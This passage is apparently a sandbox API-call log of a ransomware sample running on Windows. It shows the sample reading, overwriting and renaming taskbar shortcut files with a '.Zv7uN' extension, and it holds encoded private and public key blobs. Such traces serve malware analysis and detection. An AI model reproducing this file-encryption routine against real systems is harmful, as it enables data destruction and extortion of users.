ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc)) returned 1 [0127.941] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk")) returned 0x20 [0127.941] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk", dwFileAttributes=0x80) returned 1 [0127.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.945] GetCurrentThreadId () returned 0xa30 [0127.945] GetCurrentThreadId () returned 0xa30 [0127.945] GetCurrentThreadId () returned 0xa30 [0127.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.946] GetCurrentThreadId () returned 0xa30 [0127.946] GetCurrentThreadId () returned 0xa30 [0127.946] GetCurrentThreadId () returned 0xa30 [0127.946] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.946] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.946] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.947] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x4cc [0127.947] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.947] ReadFile (in: hFile=0x128, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x4cc, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f96c*=0x4cc, lpOverlapped=0x0) returned 1 [0128.337] CloseHandle (hObject=0x128) returned 1 [0128.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0128.340] WriteFile (in: hFile=0x128, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x4cc, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f978*=0x4cc, lpOverlapped=0x0) returned 1 [0128.342] CloseHandle (hObject=0x128) returned 1 [0128.342] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk.zv7un")) returned 1 [0128.344] GetCurrentThreadId () returned 0xa30 [0128.344] GetCurrentThreadId () returned 0xa30 [0128.344] GetCurrentThreadId () returned 0xa30 [0128.344] GetCurrentThreadId () returned 0xa30 [0128.344] GetCurrentThreadId () returned 0xa30 [0128.344] GetCurrentThreadId () returned 0xa30 [0128.344] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Windows Media Player (2).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0128.344] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0128.344] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0128.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player (2).lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b)) returned 1 [0128.345] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player (2).lnk")) returned 0x20 [0128.345] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk", dwFileAttributes=0x80) returned 1 [0128.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5X